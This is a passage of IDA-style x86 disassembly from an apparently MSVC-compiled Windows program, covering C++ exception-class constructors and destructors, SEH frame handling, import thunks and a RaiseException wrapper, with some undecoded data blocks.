mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_437360 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4373C0 proc near ; CODE XREF: sub_437450+10p
; sub_437630+Ep ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_4373C0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_10]
call sub_437CE0
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
add ecx, 0Ch
push ecx
mov ecx, [ebp+var_10]
add ecx, 0Ch
call sub_40D435
mov edx, [ebp+var_10]
mov dword ptr [edx], offset off_43AF98
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_10]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_4373C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437430 proc near ; DATA XREF: seg001:0043AF9Co
; seg001:0043AFACo ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
add ecx, 0Ch
call sub_40D521
mov esp, ebp
pop ebp
retn
sub_437430 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437450 proc near ; DATA XREF: seg001:0043AFA0o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_4373C0
push offset dword_43B340
lea ecx, [ebp+var_1C]
push ecx
call sub_437F60
mov esp, ebp
pop ebp
retn
sub_437450 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437480 proc near ; CODE XREF: sub_4374E0+Ap
; sub_4375B0+13p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_437480
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov eax, [ebp+var_10]
mov dword ptr [eax], offset off_43AF98
mov [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 0Ch
call sub_40D482
mov [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_10]
call sub_437DA0
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_437480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4374E0 proc near ; DATA XREF: seg001:off_43AF98o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_437480
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_437505
mov ecx, [ebp+var_4]
push ecx
call sub_41FCE0
add esp, 4
loc_437505: ; CODE XREF: sub_4374E0+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_4374E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437510 proc near ; CODE XREF: sub_437360+3Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_437540
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_43AFA8
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_437510 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437540 proc near ; CODE XREF: sub_437510+Ep
; sub_4376C0+Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_437540
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
mov [ebp+var_14], ecx
mov [ebp+var_10], offset dword_439EB4
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_14]
call sub_437C70
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_14]
add ecx, 0Ch
call sub_40D435
mov edx, [ebp+var_14]
mov dword ptr [edx], offset off_43AF98
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_14]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_437540 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4375B0 proc near ; CODE XREF: sub_437600+Ap
; DATA XREF: seg001:0043B2D4o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_43AFA8
mov ecx, [ebp+var_4]
call sub_437480
mov esp, ebp
pop ebp
retn
sub_4375B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4375D0 proc near ; DATA XREF: seg001:0043AFB0o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_437630
push offset dword_43B2D0
lea ecx, [ebp+var_1C]
push ecx
call sub_437F60
mov esp, ebp
pop ebp
retn
sub_4375D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437600 proc near ; DATA XREF: seg001:off_43AFA8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_4375B0
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_437625
mov ecx, [ebp+var_4]
push ecx
call sub_41FCE0
add esp, 4
loc_437625: ; CODE XREF: sub_437600+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_437600 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437630 proc near ; CODE XREF: sub_4375D0+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_4373C0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_43AFA8
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_437630 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437660 proc near ; CODE XREF: sub_40D5B0+17p
; sub_40D82F+Ep
var_3C = byte ptr -3Ch
var_38 = byte ptr -38h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_437660
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [ebp+var_3C]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp+var_38]
call sub_40D45F
mov [ebp+var_4], 0
lea ecx, [ebp+var_38]
push ecx
lea ecx, [ebp+var_28]
call sub_4376C0
push offset dword_43B3D0
lea edx, [ebp+var_28]
push edx
call sub_437F60
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_437660 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4376C0 proc near ; CODE XREF: sub_437660+3Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_437540
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_43AFD0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_4376C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4376F0 proc near ; CODE XREF: sub_437740+Ap
; DATA XREF: seg001:0043B3D4o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_43AFD0
mov ecx, [ebp+var_4]
call sub_437480
mov esp, ebp
pop ebp
retn
sub_4376F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437710 proc near ; DATA XREF: seg001:0043AFD8o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_437770
push offset dword_43B3D0
lea ecx, [ebp+var_1C]
push ecx
call sub_437F60
mov esp, ebp
pop ebp
retn
sub_437710 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437740 proc near ; DATA XREF: seg001:off_43AFD0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_4376F0
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_437765
mov ecx, [ebp+var_4]
push ecx
call sub_41FCE0
add esp, 4
loc_437765: ; CODE XREF: sub_437740+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_437740 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437770 proc near ; CODE XREF: sub_437710+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_4373C0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_43AFD0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_437770 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4377A0 proc near ; DATA XREF: seg002:0043C010o
push ebp
mov ebp, esp
call sub_40D9FE
call sub_4377C0
call sub_4377E0
call sub_437810
pop ebp
retn
sub_4377A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4377C0 proc near ; CODE XREF: sub_4377A0+8p
push ebp
mov ebp, esp
push offset nullsub_1
call sub_41FE70
add esp, 4
pop ebp
retn
sub_4377C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4377E0 proc near ; CODE XREF: sub_4377A0+Dp
push ebp
mov ebp, esp
xor eax, eax
mov al, ds:byte_4F0098
and eax, 1
test eax, eax
jnz short loc_437800
mov cl, ds:byte_4F0098
or cl, 1
mov ds:byte_4F0098, cl
loc_437800: ; CODE XREF: sub_4377E0+Fj
pop ebp
retn
sub_4377E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437810 proc near ; CODE XREF: sub_4377A0+12p
push ebp
mov ebp, esp
push offset sub_437830
call sub_41FE70
add esp, 4
pop ebp
retn
sub_437810 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437830 proc near ; DATA XREF: sub_437810+3o
push ebp
mov ebp, esp
pop ebp
retn
sub_437830 endp
; ---------------------------------------------------------------------------
align 2
jmp ds:dword_4F14F4
; ---------------------------------------------------------------------------
jmp ds:dword_4F14F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_437842 proc near ; CODE XREF: sub_40CDDB+5Ep
; seg000:0040FE17p ...
jmp ds:dword_4F14EC
sub_437842 endp
; ---------------------------------------------------------------------------
jmp ds:dword_4F14E8
; ---------------------------------------------------------------------------
jmp ds:dword_4F14E4
; ---------------------------------------------------------------------------
jmp ds:dword_4F14E0
; ---------------------------------------------------------------------------
jmp ds:dword_4F14DC
; ---------------------------------------------------------------------------
jmp ds:dword_4F14D8
; ---------------------------------------------------------------------------
jmp ds:dword_4F14D4
; ---------------------------------------------------------------------------
jmp ds:dword_4F14D0
; ---------------------------------------------------------------------------
jmp ds:dword_4F14CC
; ---------------------------------------------------------------------------
jmp ds:dword_4F14C8
; ---------------------------------------------------------------------------
jmp ds:dword_4F14C4
; ---------------------------------------------------------------------------
jmp ds:dword_4F14C0
; ---------------------------------------------------------------------------
jmp ds:dword_4F14BC
; ---------------------------------------------------------------------------
jmp ds:dword_4F14B8
; ---------------------------------------------------------------------------
jmp ds:dword_4F14B4
; ---------------------------------------------------------------------------
jmp ds:dword_4F14B0
; ---------------------------------------------------------------------------
jmp ds:dword_4F14AC
; ---------------------------------------------------------------------------
jmp ds:dword_4F14A8
; ---------------------------------------------------------------------------
jmp ds:dword_4F14A4
; ---------------------------------------------------------------------------
jmp ds:dword_4F12F4
; ---------------------------------------------------------------------------
jmp ds:dword_4F12F8
; ---------------------------------------------------------------------------
jmp ds:dword_4F12FC
; ---------------------------------------------------------------------------
dw 35E8h
dd 1AFFF987h, 0F9872FE8h, 29E8A1FFh, 30FFF987h, 130C25FFh
dd 25FF004Fh, 4F1310h, 131425FFh, 11E8004Fh, 13FFF987h
dd 131C25FFh, 5E8004Fh, 0FEFFF987h, 0F986FFE8h, 0F9E807FFh
dd 47FFF986h, 0F986F3E8h, 0EDE8F5FFh, 0F0FFF986h, 133425FFh
dd 0E1E8004Fh, 0E5FFF986h, 0F986DBE8h, 25FFD0FFh, 4F1340h
dd 0F986CFE8h, 0C9E81EFFh, 0C0FFF986h, 0F986C3E8h, 0BDE8CBFFh
dd 0F0FFF986h, 135425FFh, 25FF004Fh, 4F1358h, 0F986ABE8h
dd 25FFA5FFh, 4F1360h, 136425FFh, 25FF004Fh, 4F1368h, 136C25FFh
dd 25FF004Fh, 4F1370h, 137425FFh, 81E8004Fh, 8CFFF986h
dd 0F9867BE8h, 25FF46FFh, 4F1380h, 138425FFh, 69E8004Fh
dd 9BFFF986h, 0F98663E8h, 5DE887FFh, 6EFFF986h, 0F98657E8h
dd 51E8C3FFh, 47FFF986h, 0F9864BE8h, 45E800FFh, 17FFF986h
dd 0F9863FE8h, 39E8BCFFh, 9BFFF986h, 0F98633E8h, 25FFCAFFh
dd 4F13B0h, 13B425FFh, 25FF004Fh, 4F13B8h, 0F9861BE8h
dd 15E8E3FFh, 0E2FFF986h, 0F9860FE8h, 25FFE9FFh, 4F13C8h
dd 0F98603E8h, 0FDE899FFh, 0F9FFF985h, 0F985F7E8h, 25FF1CFFh
dd 4F13D4h, 13D825FFh, 0E5E8004Fh, 58FFF985h, 0F985DFE8h
dd 0D9E85AFFh, 39FFF985h, 0F985D3E8h, 0CDE834FFh, 33FFF985h
dd 0F985C7E8h, 0C1E82AFFh, 25FFF985h, 13F825FFh, 0B5E8004Fh
dd 56FFF985h, 0F985AFE8h, 0A9E85DFFh, 40FFF985h, 0F985A3E8h
dd 9DE84BFFh, 0A9FFF985h, 0F98597E8h, 25FFD1FFh, 4F1414h
dd 0F9858BE8h, 85E866FFh, 4FFFF985h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_437A7C proc near ; CODE XREF: sub_41F520+27p
; sub_41F890+13p
jmp ds:dword_4F1420
sub_437A7C endp
; ---------------------------------------------------------------------------
jmp ds:dword_4F1424
; ---------------------------------------------------------------------------
jmp ds:dword_4F1428
; ---------------------------------------------------------------------------
dw 6DE8h
; ---------------------------------------------------------------------------
test edi, ecx
jmp dword ptr [esi-67A9818h]
; ---------------------------------------------------------------------------
dd 25FFBDFFh, 4F1434h, 143825FFh, 55E8004Fh, 8CFFF985h
dd 0F9854FE8h, 25FF87FFh, 4F1444h, 0F98543E8h, 25FFA9FFh
dd 4F144Ch, 145025FFh, 25FF004Fh, 4F1454h, 145825FFh, 25FF004Fh
dd 4F145Ch, 146025FFh, 25FF004Fh, 4F1464h, 0F98513E8h
dd 25FFC5FFh, 4F146Ch, 147025FFh, 25FF004Fh, 4F1474h, 147825FFh
dd 25FF004Fh, 4F147Ch, 0F984EFE8h, 0E9E822FFh, 3DFFF984h
dd 0F984E3E8h, 0DDE838FFh, 0B8FFF984h, 0F984D7E8h, 0D1E80FFFh
dd 9FFF984h, 149825FFh, 0C5E8004Fh, 12FFF984h, 12F025FFh
dd 25FF004Fh, 4F12ECh, 0F984B3E8h, 25FF6DFFh, 4F12E4h
dd 12E025FFh, 25FF004Fh, 4F12DCh, 0F9849BE8h, 95E89AFFh
dd 41FFF984h, 0F9848FE8h, 25FF54FFh, 4F12CCh, 12C825FFh
dd 7DE8004Fh, 47FFF984h, 0F98477E8h, 71E8BEFFh, 0B1FFF984h
dd 0F9846BE8h, 65E8ACFFh, 0ABFFF984h, 0F9845FE8h, 25FF4CFFh
dd 4F12ACh, 12A825FFh, 25FF004Fh, 4F12A4h, 0F98447E8h
dd 0CCCC89FFh, 0CCCCCCCCh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437BC0 proc near ; CODE XREF: sub_4176D7+21p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_437BCE
xor eax, eax
jmp short loc_437C03
; ---------------------------------------------------------------------------
loc_437BCE: ; CODE XREF: sub_437BC0+8j
mov eax, [ebp+arg_0]
push eax
call sub_41AC70
add esp, 4
add eax, 1
push eax
call sub_41AE40
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_437C01
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_41E550
add esp, 8
jmp short loc_437C03
; ---------------------------------------------------------------------------
loc_437C01: ; CODE XREF: sub_437BC0+2Dj
xor eax, eax
loc_437C03: ; CODE XREF: sub_437BC0+Cj
; sub_437BC0+3Fj
mov esp, ebp
pop ebp
retn
sub_437BC0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
mov dword ptr [eax], offset off_43AFE0
mov ecx, [ebp-4]
mov dword ptr [ecx+4], 0
mov edx, [ebp-4]
mov dword ptr [edx+8], 0
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437C40 proc near ; DATA XREF: seg001:off_43AFE0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_437DA0
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_437C65
mov ecx, [ebp+var_4]
push ecx
call sub_41FCE0
add esp, 4
loc_437C65: ; CODE XREF: sub_437C40+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_437C40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437C70 proc near ; CODE XREF: sub_437540+2Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax], offset off_43AFE0
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_41AC70
add esp, 4
add eax, 1
push eax
call sub_41FD90
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
mov [eax+4], ecx
mov edx, [ebp+var_8]
cmp dword ptr [edx+4], 0
jz short loc_437CC6
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+4]
push eax
call sub_41E550
add esp, 8
loc_437CC6: ; CODE XREF: sub_437C70+3Fj
mov ecx, [ebp+var_8]
mov dword ptr [ecx+8], 1
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 4
sub_437C70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437CE0 proc near ; CODE XREF: sub_4373C0+23p
; seg000:00437D8Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax], offset off_43AFE0
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov [ecx+8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+8], 0
jz short loc_437D4F
mov edx, [ebp+arg_0]
mov eax, [edx+4]
push eax
call sub_41AC70
add esp, 4
add eax, 1
push eax
call sub_41FD90
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_4]
mov [ecx+4], edx
mov eax, [ebp+var_8]
cmp dword ptr [eax+4], 0
jz short loc_437D4D
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+4]
push ecx
call sub_41E550
add esp, 8
loc_437D4D: ; CODE XREF: sub_437CE0+55j
jmp short loc_437D5B
; ---------------------------------------------------------------------------
loc_437D4F: ; CODE XREF: sub_437CE0+25j
mov edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov [edx+4], ecx
loc_437D5B: ; CODE XREF: sub_437CE0:loc_437D4Dj
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 4
sub_437CE0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
cmp eax, [ebp+8]
jz short loc_437D93
mov ecx, [ebp-4]
call sub_437DA0
mov ecx, [ebp+8]
push ecx
mov ecx, [ebp-4]
call sub_437CE0
loc_437D93: ; CODE XREF: seg000:00437D7Dj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437DA0 proc near ; CODE XREF: sub_437480+41p
; sub_437C40+Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax], offset off_43AFE0
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+8], 0
jz short loc_437DD0
mov edx, [ebp+var_8]
mov eax, [edx+4]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_41FCE0
add esp, 4
loc_437DD0: ; CODE XREF: sub_437DA0+19j
mov esp, ebp
pop ebp
retn
sub_437DA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437DE0 proc near ; DATA XREF: seg001:0043AFE4o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 0
jz short loc_437DF8
mov ecx, [ebp+var_4]
mov eax, [ecx+4]
jmp short loc_437DFD
; ---------------------------------------------------------------------------
loc_437DF8: ; CODE XREF: sub_437DE0+Ej
mov eax, offset aUnknownExcepti ; "Unknown exception"
loc_437DFD: ; CODE XREF: sub_437DE0+16j
mov esp, ebp
pop ebp
retn
sub_437DE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437E10 proc near ; CODE XREF: sub_437E50+Ap
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_43B000
push 1Bh
call sub_421A80
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jz short loc_437E42
mov edx, [ebp+var_4]
mov eax, [edx+4]
push eax
call sub_421F00
add esp, 4
loc_437E42: ; CODE XREF: sub_437E10+21j
push 1Bh
call sub_421B20
add esp, 4
mov esp, ebp
pop ebp
retn
sub_437E10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437E50 proc near ; DATA XREF: seg001:off_43B000o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_437E10
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_437E75
mov ecx, [ebp+var_4]
push ecx
call sub_41FCE0
add esp, 4
loc_437E75: ; CODE XREF: sub_437E50+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_437E50 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 9
push eax
mov ecx, [ebp+8]
add ecx, 9
push ecx
call sub_41D900
add esp, 8
neg eax
sbb eax, eax
inc eax
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 9
push eax
mov ecx, [ebp+8]
add ecx, 9
push ecx
call sub_41D900
add esp, 8
neg eax
sbb eax, eax
neg eax
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 9
push eax
mov ecx, [ebp+8]
add ecx, 9
push ecx
call sub_41D900
add esp, 8
xor edx, edx
test eax, eax
setnle dl
mov eax, edx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 8
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
mov dword ptr [eax], offset off_43B000
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437F60 proc near ; CODE XREF: sub_437360+48p
; sub_437450+1Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push esi
push edi
mov ecx, 8
mov esi, offset dword_43B008
lea edi, [ebp+var_20]
rep movsd
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_20]
push edx
call ds:dword_4F1498 ; RaiseException
pop edi
pop esi
mov esp, ebp
pop ebp
retn 8
sub_437F60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_437FB0 proc near ; DATA XREF: seg001:0043B1D4o
lea ecx, [ebp-38h]
jmp sub_40D482
sub_437FB0 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_437FCE
mov ecx, [ebp+8]
jmp sub_40D482
; ---------------------------------------------------------------------------
locret_437FCE: ; CODE XREF: seg000:00437FC0j
retn
; ---------------------------------------------------------------------------
loc_437FCF: ; DATA XREF: sub_40D017o
mov eax, offset dword_43B1A8
jmp sub_41F580
; ---------------------------------------------------------------------------
lea ecx, [ebp+14h]
jmp sub_40D482
; ---------------------------------------------------------------------------
loc_437FE1: ; DATA XREF: seg001:0043B204o
lea ecx, [ebp-1Ch]
jmp sub_40D482
; ---------------------------------------------------------------------------
loc_437FE9: ; DATA XREF: sub_40D18Eo
mov eax, offset dword_43B1D8
jmp sub_41F580
; ---------------------------------------------------------------------------
align 4
loc_437FF4: ; DATA XREF: sub_40D8BFo
mov eax, offset dword_43B208
jmp sub_41F580
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-38h]
call sub_40D482
retn
; =============== S U B R O U T I N E =======================================
SEH_437360 proc near ; DATA XREF: sub_437360+5o
mov eax, offset dword_43B2E0
jmp sub_41F580
SEH_437360 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
call sub_437DA0
retn
; =============== S U B R O U T I N E =======================================
SEH_4373C0 proc near ; DATA XREF: sub_4373C0+5o
mov eax, offset dword_43B308
jmp sub_41F580
SEH_4373C0 endp
; ---------------------------------------------------------------------------
align 10h
